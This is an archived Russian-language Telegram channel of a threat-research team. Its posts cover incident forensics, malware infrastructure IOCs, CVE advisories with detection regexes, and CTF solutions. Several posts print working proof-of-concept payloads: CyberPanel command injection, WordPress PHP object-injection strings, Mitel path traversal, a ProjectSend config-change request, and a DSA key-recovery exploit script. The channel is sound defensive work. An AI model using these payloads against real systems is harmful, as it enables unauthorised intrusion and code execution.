TGViewer
Channel Public Channel
Четыре луча

Четыре луча

@four_rays

Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Блог: https://rt-solar.ru/solar-4rays/blog/
Subscribers
4.02K
Photos
124
Videos
1
Links
130

Showing posts older than #33 · Back to latest

Older Posts 20 shown
Post #32 2.3K
NGC4020: угроза, способная отключить оборону

В марте 2024 года наша команда расследовала атаку на российскую промышленную компанию. Злоумышленники использовали вредоносный имплант пространства ядра для обхода антивирусного решения. Он отключал обратные вызовы ядра и драйвера минифильтра, блокируя механизм защиты.

Читайте статью «Как NGC4020 отключают вашу защиту, используя уязвимость в DameWare Mini Remote Control», чтобы узнать:

👽 Как через уязвимость в популярном инструменте удаленного администрирования злоумышленники проникли в инфраструктуру.

👽 С помощью чего им удалось обойти антивирус и какое ВПО использовалось для закрепления на атакуемых системах.

👽 Почему атакующим не удалось развить атаку.
  • 🔥 12
  • 👍 7
  • ❤ 5
  • 🐳 1
  • 👾 1
Post #31 4.3K
Продолжаем отслеживать NGC5350

Сегодня хотим поделиться любопытной информацией о кластере NGC5350, который коллеги по индустрии именуют группировкой Hellhounds.

Недавно на публичный мультисканер из России загрузили ELF-семпл DecoyDog под именем «33»:
03b007a5fbb9d1556b4bedd6e930463ce35f5ae17b245edc58c12eb086de891f

Захардкоженный в теле семпла хэш коммита GitHub: revision 673a05b1.

Это connect-имплант DecoyDog, а не DNS, про который чаще выпускали статьи коллеги по индустрии. Он подключается к указанному C2, используя заданный тип транспорта. Конфиг рассматриваемого семпла:
"launcher": "connect",
"launcher_args": ["-t", "ec4", "--host", "185.143.221.125:80"]

Также в конфиге были SSL-сертификаты с датой начала действия (Not Before): 16/07/2024 15:34:40.

Информация по C2 — 185.143.221.125 Moscow AS 51659 (LLC Baxet). В 2024 резолвился в:
ns1.dpi-srv-s01.net
ns2.dpi-srv-s01.net

Домен зарегистрирован 2024-08-28. По информации из сертификатов, образец мог использоваться уже в июле 2024.

На 185.143.221.125 на порту 49364/TCP мы обнаружили сертификат с характерным Subject:
Subject C=ZZ, O=Pupy, CN=185.143.221.125

Это сертификат proxy-сервера DecoyDog. Подобные сертификаты используются в golang-коде утилиты proxy из GitHub Pupy и упоминались в первой статье Infoblox.

Сертификат создан на следующий день после начала действия сертификатов семпла.

По параметрам сертификата Proxy можно найти дополнительные Proxy-серверы DecoyDog или Pupy:
5.252.176.63 MIVOCLOUD (39798) Moscow, Russia
91.210.107.141 ORG-LVA15-AS (50867) Moscow, Russia
5.252.176.45 MIVOCLOUD (39798) Moscow, Russia
52.184.34.71 MICROSOFT-CORP-MSN-AS-BLOCK (8075) Hong Kong


Разберем детальнее каждый IOC

1️⃣ 5.252.176.63:64539 (01.06.2024-01.06.2025)

Тут Issuer не пустой: Issuer C=ZZ, O=Pupy CA.

В 2024-01-11 стал резолвиться в mp0.ignorelist.com, который использовался First Stage Decoy Dog Loader for Windows «MaxPatrol SIEM Agent.exe» из статьи «Hellhounds: Операция Lahat. Часть 2».

2️⃣ 91.210.107.141:62731 (31.08.2024-31.08.2025)

С 2024-08-01 резолвится в:
ns1.mow-srv-0074h.network
ns2.mow-srv-0074h.network

По неймингу похож на старые C2 DecoyDog.

Здесь поле Issuer пустое. Вышеупомянутая golang-утилита proxy генерирует сертификаты с непустым Issuer.

3️⃣ 5.252.176.45:29311 (25.09.2024-25.09.2025)

Здесь поле Issuer тоже пустое. IP упомянут в одном из GitHub, как «TOR Known Tor Relay/Route».

4️⃣ 52.184.34.71:9000 (01.10.2024-01.10.2025)

На 80/TCP CaddyServer— веб-сервак на Go.

Тут Issuer не пустой: Issuer C=ZZ, O=Pupy CA. В Names и CN вместо ожидаемого 52.184.34.71: 10.1.0.4

Что ещё интересного

Есть ещё старый DecoyDog из 2023 года с таким же revision 673a05b1 — _bareos.cfg:
d189e0150f42d2a2e40fefcec6973fcbc4a8b1a1757a358d13df3519ef275412

Загружен на мультисканер 2023-09-12 04:47:24 +0300 MSK от того же пользователя, что и упомянутый в начале поста семпл. Это тоже connect DecoyDog апреля 2023 года. Конфиг:
"launcher": "connect",
"launcher_args": ["-t", "ec4", "--host", "194.87.68.65:80"]

Этот семпл и C2 уже упоминались в первой части статьи «Hellhounds: операция Lahat».

Интересно, что в атаках в апреле 2023 и в летом 2024 года использовался один и тот же connect-имплант, но с разными C2.

IOC:
C2 connect DecoyDog:
185.143.221.125
194.87.68.65

proxy PupyRAT или DecoyDog:
5.252.176.45
5.252.176.63
52.184.34.71
91.210.107.141

Возможно, пустой Issuer — это показатель, что используется кастомная версия proxy, и перед нами не стандартный Pupy, а DecoyDog.
  • 🔥 20
  • 👍 8
  • 🆒 7
  • ❤ 1
  • 🐳 1
  • 👾 1
Post #30 2.17K
Чем полезен журнал Event Trace Logs

Недавно у нас на анализе оказался интересный «пациент»: веб-сервер на ОС Windows, на котором было запущенно несколько веб-служб. Все указывало на то, что атакующие проникли через него, но вот незадача — в системе не оказалось веб-логов. Их не удалили, а просто не настроили.

Можно было бы просто признать сервер точкой входа по косвенным признакам, но хотелось узнать точную причину компрометации. Как мы это сделали:

1️⃣ Самой ранней обнаруженной вредоносной активностью являлось выполнение PowerShell-команды от имени системы для запуска Reverse Shell к серверу атакующего, которую мы обнаружили в журнале PowerShell.

Однако на момент исследования система уже была перезагружена и восстановить дерево процессов привычным способом было невозможно.

2️⃣ Здесь нам и пригодились журналы ETL. Windows записывает предупреждения, ошибки и другие события на уровне приложений и системы в двоичный файл — журнал трассировки событий, или же ETL.

В ETL-журнале C\Windows\System32\WDI\LogFiles\ShutdownPerfDiagLogger.etl мы обнаружили запись о процессе, который выполнил команду ReverseShell, а с помощью полей PID и PPID смогли восстановить нужную цепочку процессов:
* postgres.exe
** cmd.exe /c ""powershell.exe -ep bypass -EncodedCommand <base64>""
*** powershell.exe -ep bypass -EncodedCommand <base64>


Таким образом мы подтвердили гипотезу, что виновником инцидента был необновленный PostgreSQL.

Для обработки данного артефакта вы можете воспользоваться проектом ETLParser, который доступен на GitHub.
  • 👍 21
  • 🤩 9
  • 💯 8
  • 😎 3
  • 👏 2
  • ❤ 1
  • 🔥 1
  • 🐳 1
  • 👾 1
Post #29 2.29K
Событие 1015 журнала Windows-SMB Server/Security

В одном расследовании, которое мы сейчас проводим, наша команда столкнулась с применением одной из APT-группировок известного всем Impacket.

На исследуемых системах аудит присутствовал в виде стандартных журналов ОС в состоянии «по умолчанию». При анализе мы зафиксировали цепочку событий, характерную для удаленного выполнения команд через модуль AtExec:

😬 4624 LogonType 3 журнала «Security», содержащее полезные данные в виде IP-адреса системы источника и используемой учётной записи;

😬 события 106, 100, 110, 129, 102, 200, 201, 141 журнала «Microsoft-Windows-TaskScheduler/Operational» — создание, запуск, завершение и удаление задачи планировщика. При этом имя создаваемой задачи по умолчанию соответствует регулярному выражению [a-zA-Z]{8};

😬 4634 журнала «Security» и LogonId совпадающим с LogonId события 4624.

Мы обратили внимание на событие с Event id 1015 журнала «Microsoft-Windows-SMBServer/Security» в окрестностях выполнения команд на хосте через AtExec. Оно приведено на скриншоте 👆

На сервере была включена подпись SMB-пакетов. Этот механизм повышает защищённость взаимодействия по данном протоколу и эффективен против NTLM-Relay атак.

Помимо того, что это событие подсвечивает аномалии, связанные с работой сервера SMB, оно содержит полезную информацию в виде IP-адреса системы-источника — адрес клиента.

А еще журнал, в котором оно содержится, как правило, ротируется значительно медленнее привычного журнала Security.

Именно так нам удалось обнаружить следы AtExec, который использовался атакующими в течение нескольких лет.

При реагировании на инциденты, особенно в случаях, если аудит настроен слабо, а широко известные журналы и артефакты операционных систем пусты, не опускайте руки — старайтесь найти любые события, которые могут пролить свет на происходящее. Например, событие 1015.
  • 👍 17
  • 🔥 7
  • 👾 4
  • 👏 2
Post #28 1.71K
Давайте уже после Чек-лист: что нужно успеть до праздников

Близятся каникулы. Подготовить к ним нужно не только праздничный стол, но и инфраструктуру.

По нашим наблюдениям, новогодние праздники редко обходятся без киберинцидентов: пока часть ИБ- и ИТ-команд отдыхает или работает удаленно, злоумышленники почти беспрепятственно проникают в целевые инфраструктуры. 

Мы подготовили небольшой гайд с советами, которые помогут обезопасить инфраструктуру. Вот краткая версия:

👽проведите инвентаризацию,
👽сделайте бэкапы,
👽установите патчи,
👽наведите порядок с паролями и учетными записями,
👽сделайте оценку компрометации. 

Подробности читайте в блоге.

Кстати, на недавнем SOC Forum мы выстапили с докладом на тему ошибок, которые команды допускают в процессе реагирования. Коллеги из «Лаборатории Касперского» выпустили замечательный пост на ту же тему — не забудьте изучить. Но лучше, конечно, не доводить до инцидента и воспользоваться советами из нашей памятки.

С наступающим!🌲
  • 🔥 9
  • 🎄 9
  • 🫡 4
  • 👾 1
Post #27 1.78K
CVE-2024-53376: уязвимость внедрения команд в CyberPanel

В сети опубликовали PoC для CVE-2024-53376. Эксплуатация уязвимости позволяет авторизированным пользователям внедрять произвольные команды через уязвимый параметр phpSelection. Уязвимы все версии CyberPanel до 2.3.8 .

CVSS: 8.8 (High)
CWE-78

Настоятельно рекомендуем обновиться!

Условия эксплуатации

1. Злоумышленник должен быть авторизован.
2. POST-, GET-запросы, содержащие спецсимволы, блокируются внутренним Firewall. Эксплуатация реализуется с использованием других http-методов.

Суть уязвимости состоит в том, что на конечной точке /websites/submitWebsiteCreation существует часть кода, которая выглядит так:
execPath = execPath + " createVirtualHost --virtualHostName " + domain + " --administratorEmail " + adminEmail + " --phpVersion '" + phpSelection + "' --virtualHostUser " + externalApp + " --ssl " + str(1) + " --dkimCheck " + str(1) + " --openBasedir " + str(data['openBasedir']) + ' --websiteOwner "' + websiteOwner + '" --package "' + packageName + '" --tempStatusPath ' + tempStatusPath + " --apache " + apacheBackend + " --mailDomain %s" % (mailDomain) 

ProcessUtilities.popenExecutioner(execPath)


Обратите внимание на параметр phpSelection в execPath: злоумышленник может манипулировать его значением, и оно никак не будет очищаться сервером.

Для успешной эксплуатации злоумышленнику необходимо «выйти из строки»:

1. закрыть , которая идет перед phpSelection,
2. выйти из выполнения операции, например, через ; или | и т.д.,
3. ввести нагрузку, например, touch /tmp/test,
4. закомментировать остальную часть, например, через #.

Вариантов выхода может быть множество!

Пример полезных нагрузок, которые могут передаваться в теле запросов в формате Json:
{"package":"Default","domainName":"cyberpanel.net","adminEmail":"asd@ss.dd","phpSelection":"PHP 8.0'asdasdasdadadadadaadad  $(touch /tmp/test)# ","ssl":0,"websiteOwner":"admin","dkimCheck":0,"openBasedir":0,"mailDomain":0,"apacheBackend":0} 


Как защититься


1. Проверяем, что запрос не содержит POST- или GET-методы.
2. Смотрим, что конечная точка в URI содержит /websites/submitWebsiteCreation.
3. Значение параметра body в phpSelection содержит спецсимвол ; например, через подобное регулярное выражение:

[;|&#><$\/\[\]\{\}\(\):`\'\"]+
  • 🔥 8
  • 👍 6
  • 👀 3
  • ❤ 1
  • 👾 1
Post #26 1.77K
Особенности новой версии Gorgon Stress

Недавно мы рассказывали об утилите Gorgon Stress, предназначенной для осуществления DDoS-атак. С тех пор авторы успели выпустилить новую версию — 1.9.9.8.2.

«Горгону» часто используют для атак на российские веб-ресурсы, поэтому важно следить за её эволюцией, чтобы быстрее адаптировать защиту.

В этой версии злоумышленники:

✅изменили работу HTTP Flood,
✅добавили новый тип атаки,
✅использовали PROXY Protocol в HTTP Flood, что может ввести в заблуждение средства защиты от DDoS-атак.

Полный список изменений, сделавших утилиту более гибкой и опасной, и советы по защите собрали в статье.
  • 🔥 17
  • 👍 7
  • 🐳 4
  • 👾 1
Post #25 2.22K
Конфигурация для Falco от команды Solar 4RAYS

Недавно мы рассказывали о преимуществах Falco — open-source инструмента, который изначально предназначался для контейнерных сред, но отлично подходит и для мониторинга стандартных Linux-систем без контейнеризации.

Сегодня хотим поделиться с вами конфигурацией для этого инструмента, которую мы разработали для противодействия угрозам. Она позволяет:

👽 отслеживать запуски процессов и сетевые соединения;

👽 детектировать создание файлов через memfd, загрузку EBPF-модулей и другие техники;

👽 фиксировать действия самоудаляющихся процессов.

Этот конфиг — не просто универсальное решение, а отправная точка для построения вашей защиты. Мы рекомендуем адаптировать его под специфические потребности вашей инфраструктуры, наращивая экспертизу и добавляя уникальные правила, которые соответствуют вашим рискам.

Подробнее о подходах, примерах правил и реальных сценариях использования вы можете узнать из нашей статьи и выступления на SOC Forum.

Скачивайте нашу конфигурацию для Falco на GitHub.
  • 🔥 14
  • ❤ 5
  • 👍 2
  • 👾 1
Post #24 1.5K
Снова Wordpress, снова десериализация данных

Уязвимость CVE-2024-24926 позволяет злоумышленнику отправлять вредоносные объекты на сервер, использующий тему WordPress Brooklyn (версии до 4.9.7.6). Потенциально эксплуатация данной уязвимости может привести к удаленному выполнению кода.

CWE-502

CVSS 7,5 (высокий)

Настоятельно рекомендуем обновиться!

PoC уже можно найти на просторах github. Представим полезную нагрузку, необходимую для эксплуатации:
data=O:15:"MaliciousObject":1:{s:3:"cmd";s:14:"system('whoami')


Механизм эксплуатации схож с CVE-2024-52433, единственное различие — это расположение полезной нагрузки.

Если вы используете WordPress Brooklyn, то для защиты советуем блокировать POST-запросы с body, соответствующим регулярному выражению:
O:\d+:\"[a-zA-Z0-9_-]+\":\d+:(\{s:\d+:\"[a-zA-Z0-9_-]+\";(a|s|i|b|O):\d+|{})
  • 🔥 14
  • 👍 6
  • ⚡ 5
  • 👾 1
Post #23 1.42K
Публичные PoC на CVE-2024-41713 в Mitel MiCollab

Стало известно о появлении в открытом доступе эксплойта под уязвимость CVE-2024-41713 в NuPoint Unified Messaging (NPM) Mitel MiCollab. Успешная эксплуатация может позволить злоумышленнику провести атаку обхода пути (Path Traversal) из-за недостаточной проверки ввода.

Уязвимы:
NuPoint Unified Messaging (NPM) Mitel MiCollab версии до 9.8 SP1 FP2 (9.8.1.201)
CWE-22
Severity: High 7.5

Настоятельно рекомендуем обновиться! Бюллетень вендора.

Используя в запросе конструкцию вида ..;/, злоумышленник может получать различную нечувствительную системную информацию, в том числе доступную только администратору.

Например, запрос:
https://xxxxxx/npm-pwg/..;/axis2-AWC/services/listServices 


выдаст информацию о npm-pwg:
— AWC_Commands;
— Version.

Также было выявлено, что использование ../ вместо ..;/ позволит получить точно такую же информацию.

В найденных эксплойтах эксплуатация проходит через npm-pwg, но его наличие не обязательно, так как в результате эмуляции было выявлено, что обходить директорию можно вообще из любого места.

Как защититься:

1. Рекомендуем использовать регулярное выражение, которое ищет в URI паттерн ../ или ..;/, например
(\.{2,};\/|\.{2,}\/)


2. Если же интересует защита от конкретных PoC из публичного простраства, можно расширить регулярное выражение до
npm-pwg\/(\.{2,};\/|\.{2,}\/)
  • 🔥 13
  • 🤔 6
  • 👍 5
  • 👾 2
  • ❤ 1
Post #22 2.24K
Linux-сафари с Falco: как поймать атакующих за хвост

Количество атак на Linux-системы растет, а сами они прогрессируют:

🫡 целей для атак становится больше в связи с переходом на Linux;

🫡инструменты атакующих становятся более сложными и требуют новых подходов для обнаружения.

При таких условиях инструмента auditd, используемого в большинстве случаев в мониторинге защищаемых систем, уже может быть недостаточно. Банальные аномалии в цепочке родительских процессов требуют дополнительных инструментов для обогащения события данными, а возможность отслеживания контейнерных сред отсутствует в принципе.

Поэтому мы используем не auditd, а Falco — open-source инструмент, который изначально предназначался для контейнерных сред, но отлично подходит и для стандартных Linux-систем без контейнеризации.

В новой статье разбираем преимущества Falco на примерах реальных сценариев, которые иллюстрируют его эффективность в детектировании современных атак, а также подробно рассматриваем гипотезы и приводим примеры правил, которые можно адаптировать для защиты вашей инфраструктуры.
  • 🔥 10
  • ❤ 9
  • 👍 7
  • 👾 1
Post #21 1.65K
Обнаруживаем эксплуатацию CVE-2024-11680 в ProjectSend

CWE-287
Base Score: 9.8 CRITICAL

Данная уязвимость позволяет удаленным не аутентифицированным злоумышленникам менять конфигурацию приложения ProjectSend.
Уязвимы все версии до r1720.

Настоятельно рекомендуем обновиться!

Злоумышленник может отправить POST-запрос, который выглядит следующим образом:
POST /options.php HTTP/2
Host: XXX.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15
Content-Length: 117
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=sfh3js6atmat4pedsjl1pctl86
Accept-Encoding: gzip
csrf_token=***&section=general&This_install_title=dsdasd


Мы проанализировали публичные шаблоны для сканирования данной уязвимости и воспроизвели вредоносную активность на тестовом стенде:
1. CSRF_token берётся из HTML кода в блоке input cо значением hidden в type и именем csrf_token (данный блок необязателен).
 <input type="hidden" name="csrf_token" value="***"/>

2. Значение блок section может быть различным, например clients или general (обязательный блок).
3. Значение блока this_install_title может быть абсолютно любой строкой, которая будет выведена на главную страницу.
Это не обязательный блок запроса, его можно заменить.
clients_can_register=1
clients_auto_approve=1
clients_can_upload=1

Злоумышленники могут использовать различные комбинации.

Лучший способ защититься от данной уязвимости – это заблокировать все POST-запросы на /options.php.
Еще один вариант – это запретить все POST-запросы, содержащие параметры scrf_token и section в теле запроса
Совет: для большей гибкости в детектирующей логике необходимо сделать эти поля не чувствительными к регистру.
  • 🔥 15
  • 👍 6
  • 🤯 6
  • ❤ 1
Post #18 1.42K
eBPF: E for Evil

Наверняка вы так или иначе сталкивались с технологией eBPF в своей повседневной работе, но задумывались ли вы о том, как ее могут использовать злоумышленники в своих атаках? Мы задумались и:
👽разобрали процесс загрузки eBPF-модулей в ядро и структуру загружаемых программ
👽 придумали подход к обнаружению вредоносных eBPF-программ
👽 реализовали PoC для предотвращения загрузки модулей в ядро
👽 написали парсер для структур-инструкций и строк eBPF-программы
Ниже вас ждут некоторые технические подробности нашего ресерча, с полной версией которого можно ознакомиться в нашем блоге.


eBPF: анатомия технологии и программы

За загрузку eBPF-программ в ядро отвечает системный вызов bpf() с командой BPF_PROG_LOAD (cmd = 5):
int bpf(int cmd, union bpf_attr *attr, unsigned int size);

Его мы и будем перехватывать с помощью kprobe. Второй аргумент содержит в себе структуру bpf_attr, в которой содержится множество полезной информации о загружаемой программе (представлены наиболее полезные элементы):
struct {
__u32 prog_type; /* тип eBPF-программы */
__u32 insn_cnt; /* число инструкций загружаемой программы */
__aligned_u64 insns; /* указатель на массив структур-инструкций */
...
char prog_name[BPF_OBJ_NAME_LEN]; /* имя загружаемой программы */
...
}


Самая интересная информация хранится по указателю insns. Внутри лежит массив структур, являющихся инструкциями eBPF-программы:
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};

Информация из этих структур использована для реализации Prevention и Detection (в kernel mode и user mode).


eBPF: Detection & Prevention (kernel mode)

Полученные структуры перебираются, из них выбираются инструкции BPF_EMIT_CALL() (code = 133):
#define BPF_EMIT_CALL(FUNC)
((struct bpf_insn) {
.code = BPF_JMP | BPF_CALL,
.dst_reg = 0,
.src_reg = 0,
.off = 0,
.imm = ((FUNC) - __bpf_call_base) })

Эти инструкции отвечают за вызов bpf-helpers. На основании используемых вредоносной программой хэлперов, а также имени загружаемой программы, можно сделать паттерны для детекта:
    if detectname == "pamspy":
funclimitpatterns = {
14: 1, #bpf_get_current_pid_tgid
1: 1, #bpf_map_lookup_elem
4: 5, #bpf_probe_read
3: 1, #bpf_map_delete_elem
16: 1, #bpf_get_current_comm
132: 1, #bpf_ringbuf_submit
131: 1, #bpf_ringbuf_reserve
}
prognamepatterns = ["handle_", "det_"]

Prevention выполняется при помощи замены первой инструкции анализируемой программы на инструкцию BPF_EXIT_INSN().


eBPF: Detection (user mode)

Если загрузка не была прервана, то можно продолжить обработку на стороне user mode. Для этого мы написали парсер, который переводит некрасивые структуры в более человекочитаемый вид:
BPF_EMIT_CALL(get_current_pid_tgid)
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_A, -8)
BPF_LDX_MEM(BPF_W, BPF_REG_ARG1, BPF_REG_X, 0)
BPF_JMP_IMM(BPF_JEQ, BPF_REG_ARG1, 0, 18)
BPF_EMIT_CALL(get_current_task)
BPF_MOV64_IMM(BPF_REG_ARG1, 2480)

Также мы научились доставать некоторые константные строки из листинга загружаемых eBPF-программ:
[{'insn_number': 29, 'string': 'sudo\x00'}, 
{'insn_number': 44, 'string': '/etc/sudoers\x00'}]

Всю полученную информацию можно смело собирать в JSON и отправлять в сторону любого стороннего инструмента для дальнейшей корреляции (например, в SIEM).


eBPF: Проблемы и выводы

Главное, что нам удалось выяснить - анализ eBPF-программ возможен до их загрузки, можно даже предотвратить загрузку программы, если она вызывает подозрения. Конечно, не обошлось без сложностей из-за ограничений eBPF, но так или иначе мы смогли их обойти.
Почитать код, в котором мы реализовали описанные подходы, можно на Github.
  • 🔥 20
  • 🤓 5
  • 👀 5
  • ❤ 1
Post #17 1.28K
Очередной плагин WordPress. CVE-2024-52433.

Не так давно стало известно об уязвимости в плагине WordPress Mindstien Technologies My Geo Posts Free, которая получила идентификатор CVE-2024-52433.
Из-за уязвимости десериализации ненадежных данных, злоумышленник может внедрять объекты, которые в последствии могут использоваться в качестве цепочек, приводящих к RCE.

Затронуты все версии плагина до 1.2.

Если ваше приложение написано с использованием плагина Mindstien Technologies My Geo Posts Free, настоятельно рекомендуем проверить версии и обновиться по мере выхода вендорского патча.

В процессе эмуляции мы обнаружили, что эксплуатация возможна вследствие уязвимости следующего участка кода плагина Mindstien Technologies My Geo Posts Free:

$mdata = unserialize(stripslashes(base64_decode($_COOKIE['mgpf_geo_coockie'])));


То есть при передаче параметра COOKIE mgpf_geo_coockie со значением, предположим, TzoxNDoiVnVsbmVyYWJsZUNsYXNzIjoxOntzOjc6ImNvbW1hbmQiO3M6MTI6ImVjaG8gJ0hhY2tlZCEnIjt9

…происходит следующее:
1) отрабатывает функция base64_decode, которая преобразует переданную строку в
O:14:"VulnerableClass":1:{s:7:"command";s:12:"echo 'Hacked!'";}

2) далее будет вызвана функция stripslashes, которая уберет слеши,
в нашем примере их нет;
3) наконец, после выполнения unserialize, объект $object будет экземпляром класса VulnerableClass с атрибутом command, равным echo 'Hacked!', например

VulnerableClass Object
(
[command] => echo 'Hacked!'
)

Следовательно, если у нас есть класс вроде этого:
 class VulnerableClass {
public $command;

public function __wakeup() {
system($this->command);
}
}


То, используя уязвимость внедрения объекта, можно выполнить произвольный код.

Поделимся детектирующей логикой, которая позволит заблокировать эксплуатацию данной уязвимости.
Необходимо блокировать все запросы, содержащие параметр COOKIE mgpf_geo_coockie, значение которого при декодировании из base64 даст сериализованную строку для хранения объекта;
эту строку можно описать следующим регулярным выражением:
O:\d+:\"[a-zA-Z0-9_-]+\":\d+:(\{s:\d+:\"[a-zA-Z0-9_-]+\";(a|s|i|b|O):\d+|{})
  • 🔥 11
  • 👍 4
  • ❤ 3
  • 🐳 1
  • 👨‍💻 1
  • 👾 1
Post #16 1.25K
Художественный OSINT: ответ на задачу на SOC Forum.

Это короткая история о том, почему в OSINT всё течёт и всё меняется.

О чем речь
Мы уже показали вам, как решить задачи по пентесту и форензике, загаданные на SOC Forum. И дело осталось за задачей по OSINT, которую всё-таки решили большинство участников.


Легенда: друг, путешествуя за рубежом, нашел интересное граффити, автора которого захотел привлечь разрисовать унылые трансформаторные будки в своем районе.

Задание: найди место, в котором находится граффити, и имя его автора. 🗝 Возможно, вам стоит посмотреть панорамы за разные годы.

Форма ответа:
координаты XX.XXXXX, X.XXXXX
имя автора — латиницей Xxxx Xxx Xxx

Вариант решения №1, который мы задумывали основным:
👽 сначала стоит сделать фотографию светлее, насыщеннее и резче в фоторедакторе;
👽 дальше загружаем картинку в Яндекс, где мы находим похожую стену, но с другим граффити;
👽 из поиска переходим на TripAdvisor, где мы получаем адрес (172 Rue Saint-Maur).
👽 на панорамах Google от июля 2020 года находим наше граффити с тегом автора.

Ответы соответственно:
48.87033, 2.37346
Tres Dos Odv

Одна из особенностей OSINT заключается в том, что открытые источники и маршруты могут меняться. Спойлер: после SOC Forum так и произошло.


Вариант решения №2, который мы не планировали:
👽 с ноги без лишних приветствий переходим в поиск по картинке в Google;
👽 картинка нас отправляет на публикацию журналиста Jade Serrano:
— здесь расположено оригинальное изображение;
— отмечено местоположение (Rue Saint-Maur, Paris);
— и часть имени автора (TresDos).
👽 проверяем: улица достаточно длинная, поэтому ищем подсказки на изображении — лавка Parashar.
👽 поиск на картах приводит нас на адрес (172 Rue Saint-Maur), где на панораме 2020 года мы находим наше изображение.
👽 вернемся к имени автора — у нас есть часть имени, а по маске мы помним, что нам нужно 3 части, поэтому внимательно изучаем изображение, где видно тег автора — TresDos Odv.
👽 Гуглится? Да. Указываем данные в ответе, как просит маска (4 – 3 – 3): Tres Dos Odv.

P.S.: в процессе поиска координат вы могли пробовать иные комбинации, на данный момент актуальной уже является:

48.8702367,2.3730485 — если вводить адрес с домом;
48.8702332,2.3733704 — если искать Parashar;
48.8701995,2.3732304 — если смотреть координаты на панораме с граффити в 2020 году.

И ещё множество других вариантов, которые отличались на несколько знаков, если вы использовали конкретные точки на карте или другие системы для навигации и определения координат.

P.P.S.: всем, кто нашёл правильный адрес, но не попал в загаданную маску, начисляли баллы в ручном режиме в пункте выдачи призов.


Что мы хотим напомнить: легальная OSINT-аналитика базируется на принципе сбора данных только из открытых источников. А путь решения задач по OSINT может быть любой, если он легально приводит вас к результату.
  • 🔥 15
  • 👍 7
  • 💩 5
  • 👨‍💻 4
  • ⚡ 1
  • 🐳 1
  • 👾 1
Post #15 1.39K
Как разговорить змеев? Решение квеста по форензике на SOC FORUM

О чем речь
На SOC FORUM во время квеста Solar 4RAYS мы предложили вам взломать коммуникации змеев и узнать их секрет.

Сегодня делимся с вами ответом на задание по форензике. Ответы по пентесту были выше.
Змеи приветствуют нас и присылают нам сразу 3 артефакта: dsa.pub, send2zmiy.py и zmiy.

dsa.pub — публичный ключ DSA. А из send2zmiy.py мы можем понять, что змеи получают результат проверки подписи и наше сообщение последовательно.

Теперь рассмотрим zmiy. Он содержит в себе уязвимость переполнения буфера для сообщений змеям:
__isoc99_scanf("%d", &is_good_sign);
fflush(stdin);
__isoc99_scanf("%s", v8);
v4 = strcmp(FromPlanet, "Zmesk") == 0;
if ( !is_good_sign )
{
v1 = rand();
printf("%s%d\n", s[v1 % 3], v6);
fflush(_bss_start);
}
if ( is_good_sign == 1 && !v4 )
{
v2 = rand();
puts(s[v2 % 2 + 3]);
fflush(_bss_start);
}
if ( is_good_sign == 1 && v4 )
{
puts("Ty odin is nas {}");
fflush(_bss_start);
}
return 0LL;

Из функции zmiy_answer видно, что змеи проверяют два флага. Первый, как мы поняли из send2zmiy.py, относится к подписи, а второй — проверка строчки с планетой участника. И если оба флага верны, то змеи принимают нас как сородича репликой: Ty odin is nas {}.

Проэксплуатируем уязвимость переполнения буфера строчкой:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaZmesk. Из zmiy также видим, что змеев волнует какая-то проблема с подписью.

А что это вообще за подпись? Для этого откроем страничку «Википедии» о DSA — по названию данного нам ключа — и узнаем, что подпись состоит из пары r, s, которые вычиcляются с использованием параметра k.

Выбор случайного числа k∈(0,q)
Вычисление r=(g^k mod p) mod q
Вычисление s = k^(−1)*(H(m)+xr) mod q
Подписью является пара (r,s) oбщей длины 2N


Ниже на странице видим, что есть описание уязвимости, связанное с повторением k: повторение параметра k для двух сообщений ведет к простому взлому системы.

Снова обратим внимание на сообщения змеев и увидим, что в каждом сообщении они высылают нам Ty ne odin is nasKKKKKKkkkk54533 — какое-то число 54533.

Проверим гипотезу, что змеи переиспользуют k. Действительно, после нескольких сообщений замечаем, что подпись у одних и тех же сообщений не меняется.

Для взлома подписи змеев необходимо решить уравнение r^(-1)(sk-H(m)) = x mod q или воспользоваться одним из готовых решений на github. Это даст нам секретную константу x приватного ключа змеев.
Дальше нужно только подписать наше сообщение.

Скрипт решения:
from Crypto.PublicKey import DSA
from Crypto.Hash import SHA1
from Crypto.Signature import *
from Crypto.Util.number import inverse
from Crypto.Math.Numbers import Integer
from binascii import unhexlify, hexlify


def calculate_x(public_key, k, r, s, h):
q = public_key._key["q"]
r_inv = r.inverse(q)
x = r_inv * (s*k - h) % q
return x

public_key_file = 'dsa.pub'
message = "Mi est Zmiy s planeti Zmesk".encode("utf-8")
hash_hex = SHA1.new(message)
signature_hex = unhexlify("5dee4c2f57a24000558f13ec20937ea95d287fb15492d9d3805c4bd758b8d859571913d213626a65")
k = 54533

with open(public_key_file, 'rb') as f:
public_key = DSA.import_key(f.read())

h = Integer.from_bytes(hash_hex.digest())
r_s_length = len(signature_hex) // 2
r = Integer.from_bytes(signature_hex[:r_s_length])
s = Integer.from_bytes(signature_hex[r_s_length:])

x_value = calculate_x(public_key, k, r, s, h)
public_key._key["x"] = x_value
print(f"The calculated parameter x is: {x_value}")

dss = DSS.new(public_key, 'fips-186-3')
print("Verification Zmiy meassage ", not dss.verify(hash_hex, signature_hex))

# LETS HACK ZMIY
message = b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaZmesk"
m_hash = SHA1.new(message)
sign = dss.sign(m_hash)
print("Verification our message ", not dss.verify(m_hash, sign)) # library returns false when signature is ok \_0_/

print(f"{message.decode("utf-8")}:{hexlify(m_hash.digest()).decode("utf-8")}:{hexlify(sign).decode("utf-8")}")
  • 👍 17
  • ❤ 8
  • 👾 5
  • ⚡ 3
  • 🐳 1
Post #14 1.3K
Достаем конфиги CrossC2

CrossC2 — это beacon Cobalt Strike под Unix-системы. Инструмент был замечен в ряде атак и периодически используется злоумышленниками во вредоносных кампаниях.

Сгенерированные beacon'ы обычно «накрыты» UPX и обфусцированы с помощью LLVM. К концу файла прикреплен оверлей, который начинается с сигнатуры HOOK — это зашифрованный конфиг, и в таком виде он имеет следующую структуру:

